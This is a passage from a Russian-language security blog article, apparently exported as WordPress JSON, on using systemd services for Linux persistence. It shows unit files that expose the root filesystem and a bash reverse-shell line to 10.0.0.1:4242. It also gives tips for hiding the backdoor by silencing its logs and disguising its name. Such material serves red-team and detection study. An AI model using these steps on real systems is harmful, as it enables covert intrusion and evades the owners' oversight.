\u043a\u043e\u043c\u0430\u043d\u0434\u044b <code>systemd-analyze unit-paths<\/code> (\u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0440\u0435\u0436\u0438\u043c\u0430 \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 \u043a\u043b\u044e\u0447 <code>--user<\/code>). \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440: <\/p>\n<pre><code class=\"bash\">$ systemd-analyze unit-paths ... \/etc\/systemd\/system ... \/usr\/local\/lib\/systemd\/system \/lib\/systemd\/system \/usr\/lib\/systemd\/system ...<\/code><\/pre>\n<p>\u042d\u0442\u043e \u0442\u043e\u0447\u043d\u044b\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0438 \u043c\u0435\u0441\u0442\u0430, \u043e\u0442\u043a\u0443\u0434\u0430 <code>systemd <\/code>\u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 <code>\/run\/*<\/code>, \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c\u0438 \u0438 \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043c\u0430\u0448\u0438\u043d\u044b.<\/p>\n<p>\u0411\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u043f\u0435\u0440\u0432\u044b\u0439 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c *.service \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0435\u0441\u043b\u0438 \u0444\u0430\u0439\u043b <code>\/lib\/systemd\/system\/nginx.service<\/code> \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0430 \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c <code>\/etc\/systemd\/system\/nginx.service<\/code>, \u0442\u043e \u043c\u044b \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c \u0441\u0435\u0440\u0432\u0438\u0441 <strong>nginx.service<\/strong>, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e <code>\/etc\/systemd\/system<\/code> \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u043d\u0430\u0434 <code>\/lib\/systemd\/system\/nginx.service<\/code>.<\/p>\n<p>\u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u043c, \u0435\u0441\u043b\u0438 \u043c\u044b \u0445\u043e\u0442\u0438\u043c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u0430 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435.<\/p>\n<p><strong>5.2.2 \u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0441\u0435\u0440\u0432\u0438\u0441\u0430<\/strong> <\/p>\n<p>\u041c\u044b \u0445\u043e\u0442\u0438\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <strong>bad<\/strong>. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0444\u0430\u0439\u043b \u0441 \u0438\u043c\u0435\u043d\u0435\u043c <code>\/etc\/systemd\/system\/bad.service<\/code>.  <\/p>\n<pre><code class=\"bash\">[Unit] Description=Example of bad service  [Service] ExecStart=python3 -m http.server --directory \/  [Install] WantedBy=multi-user.target<\/code><\/pre>\n<p> \u041f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430 \u043d\u0443\u0436\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e:  <\/p>\n<pre><code class=\"bash\">systemctl enable bad<\/code><\/pre>\n<p>\u0415\u0441\u043b\u0438 \u0432\u0430\u0448 \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>netdns.service<\/code>, \u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 <code>systemctl enable netdns<\/code>. \u042d\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043d\u0430\u0439\u0434\u0451\u0442 \u0444\u0430\u0439\u043b <code>netdns.service<\/code> \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u043f\u0443\u0442\u0435\u0439 unit-\u0444\u0430\u0439\u043b\u043e\u0432, \u0440\u0430\u0441\u043f\u0430\u0440\u0441\u0438\u0442 \u0435\u0433\u043e \u0438 \u0441\u043e\u0437\u0434\u0430\u0441\u0442 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0430\u0440\u0433\u0435\u0442\u0430, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 WantedBy.<\/p>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432 \u043d\u0430\u0448\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435 <code>WantedBy=multi-user.target<\/code>, \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0431\u0443\u0434\u0435\u0442 <code>\/etc\/systemd\/system\/multi-user.target.wants<\/code>, \u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0432\u0440\u0443\u0447\u043d\u0443\u044e.<\/p>\n<pre><code class=\"bash\">ln -s \/etc\/systemd\/system\/bad.service \/etc\/systemd\/system\/multi- user.target.wants\/bad.service<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0431\u0443\u0434\u0435\u0442 \u0437\u043d\u0430\u0442\u044c, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c <code>bad.service<\/code> \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043c\u0430\u0448\u0438\u043d\u044b. \u0427\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441 \u0432\u0440\u0443\u0447\u043d\u0443\u044e, \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443:<code>systemctl start bad <\/code> \u0415\u0441\u043b\u0438 \u0432\u044b \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442\u0435 unit-\u0444\u0430\u0439\u043b, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e systemd \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439:<code> systemctl daemon-reload<\/code> \u0412 \u044d\u0442\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u0432 <strong>ExecStart<\/strong> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f <code>python3<\/code>, \u043d\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0435\u0451 \u043d\u0430 \u043b\u044e\u0431\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:  <code>bash -i &gt;&amp; \/dev\/tcp\/10.0.0.1\/4242 0&gt;&amp;1<\/code> \u0438\u0437 \u043b\u044e\u0431\u043e\u0433\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e cheat sheet [<a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/Methodology%20and%20Resources\/Reverse%20Shell%20Cheatsheet.md#bash-tcp\" rel=\"noopener noreferrer nofollow\">PayloadsAllTheThings Reverse Shell<\/a>], \u0438\u043b\u0438 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0443\u0442\u044c \u043a bash-\u0441\u043a\u0440\u0438\u043f\u0442\u0443 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u043c\u0443 \u0444\u0430\u0439\u043b\u0443, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 <code>\/tmp\/backdoor<\/code> \u0438\u043b\u0438 <code>\/opt\/backdoor<\/code>. <\/p>\n<p><strong>5.2.3 \u041e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c<\/strong><\/p>\n<p>\u0411\u0443\u0434\u044c\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043a \u0438\u043c\u0435\u043d\u0438 \u044e\u043d\u0438\u0442\u0430, \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u0438 \u0432\u044b\u0432\u043e\u0434\u0443 \u0432\u0430\u0448\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.<\/p>\n<p>\u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f \u0432 <code>syslog<\/code>, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u0443\u0434\u0430 \u043f\u043e\u043f\u0430\u0434\u0451\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 (<code>stdout<\/code>) \u0438 \u0432\u044b\u0432\u043e\u0434 \u043e\u0448\u0438\u0431\u043e\u043a (<code>stderr<\/code>).<\/p>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0435\u0441\u043b\u0438 \u0443 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c python-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u0438 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u043c\u0435\u043d\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b\u0438 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e, \u0442\u043e \u0432 <code>syslog <\/code>\u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u044f\u0432\u0438\u0442\u044c\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c:<\/p>\n<pre><code class=\"bash\">Jan 30 07:35:56 test-auditd systemd[1]: Started Example of bad service. Jan 30 07:36:27 test-auditd python3[957]: Traceback (most recent call last): Jan 30 07:36:27 test-auditd python3[957]:   File \"&lt;string&gt;\", line 1, in &lt;module&gt; Jan 30 07:36:27 test-auditd python3[957]: TimeoutError: [Errno 110] Connection timed out Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Main process exited, code=exited, status=1\/FAILURE Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Failed with result 'exit-code'.<\/code><\/pre>\n<p>\u042d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u0441\u0442\u043e\u0440\u043e\u0436\u0438\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u043e\u0432.<\/p>\n<p>\u041e\u0431\u0449\u0438\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 stdout \u0438 stderr \u2014 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0441\u0435\u043a\u0446\u0438\u044e <code>[Service]<\/code> unit-\u0444\u0430\u0439\u043b\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438:<\/p>\n<pre><code class=\"bash\">StandardOutput=null StandardError=null<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u043c\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b \u043e\u0448\u0438\u0431\u043a\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043c \u0438\u043c\u044f, \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u0430, \u0443 \u043d\u0430\u0441 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c\u0441\u044f \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435 \u044d\u0442\u043e\u0433\u043e:<\/p>\n<pre><code class=\"bash\">Jan 30 08:00:16 test-auditd systemd[1]: Started Periodic DNS Lookup Service. Jan 30 08:00:16 test-auditd systemd[1]: dns.service: Succeeded.<\/code><\/pre>\n<p><strong>5.2.4 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b Systemd<\/strong> <\/p>\n<p>\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043c\u0435\u043d\u0435\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 systemd \u2014 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u041e\u043d\u0438 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u0432 \u0434\u0440\u0443\u0433\u043e\u043c \u043d\u0430\u0431\u043e\u0440\u0435 \u043f\u0443\u0442\u0435\u0439 unit-\u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0443\u0437\u043d\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b: <code> systemd-analyze unit-paths --user <\/code> \u0412\u044b\u0432\u043e\u0434 \u0434\u043b\u044f Debian:<\/p>\n<pre><code class=\"bash\">$ systemd-analyze unit-paths --user ... \/home\/user\/.config\/systemd\/user \/etc\/systemd\/user ... \/home\/user\/.local\/share\/systemd\/user \/usr\/local\/share\/systemd\/user \/usr\/share\/systemd\/user \/usr\/local\/lib\/systemd\/user \/usr\/lib\/systemd\/user ...<\/code><\/pre>\n<p> \u041c\u044b \u043c\u043e\u0436\u0435\u043c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441 bad_user.service \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>\/etc\/systemd\/user<\/code>.  <\/p>\n<pre><code class=\"bash\">[Unit] Description=Example of bad service  [Service] ExecStart=&lt;SOME COMMAND&gt;  [Install] WantedBy=default.target<\/code><\/pre>\n<p>\u041c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u00ab\u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u00bb, \u0441\u043e\u0437\u0434\u0430\u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>\/etc\/systemd\/user\/default.target.wants<\/code> \u0438 \u0441\u043e\u0437\u0434\u0430\u0432 \u0432 \u043d\u0451\u043c \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 <code>bad_user.service<\/code>.<\/p>\n<pre><code class=\"bash\">mkdir \/etc\/systemd\/user\/default.target.wants ln -s \/etc\/systemd\/user\/bad_user.service  \/etc\/systemd\/user\/default.target.wants\/bad_user.service<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u0440\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0432\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 <code>bad_user.service<\/code>.<\/p>\n<p>\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430?<\/p>\n<p>\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u043d\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u0446\u0435\u043b\u043e\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0438 \u0432\u0445\u043e\u0434\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u043d\u0435 \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043c\u0430\u0448\u0438\u043d\u044b.<\/p>\n<p>\u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d \u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u0435\u0440\u0435\u0432\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432.<\/p>\n<pre><code class=\"bash\">[root] systemd (PID 1) \u251c\u2500 [root] sshd.service \u251c\u2500 [root] rsyslog.service \u251c\u2500 [root] bad.service \u251c\u2500 [root] cron.service \u2502 \u251c\u2500 [user0] systemd --user \u2502  \u251c\u2500 [user0] bad_user.service \u2502 \u251c\u2500 [user1] systemd --user    \u251c\u2500 [user1] bad_user.service<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 sshd, cron \u0438 bad.service \u2014 \u044d\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043a\u0430\u0436\u0434\u043e\u0433\u043e (\u043e\u0431\u044b\u0447\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0439 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root). \u0415\u0441\u043b\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432\u0445\u043e\u0434\u044f\u0442 user0 \u0438 user1, \u0442\u043e \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u043d\u0438\u0445 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0443 bad_user.service, \u0442\u0430\u043a \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441.<\/p>\n<p>\u041e\u0431\u044b\u0447\u043d\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0443\u0436\u043d\u044b \u043f\u0440\u0430\u0432\u0430 root, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u0421<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-468854","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/468854","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=468854"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/468854\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=468854"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=468854"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=468854"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}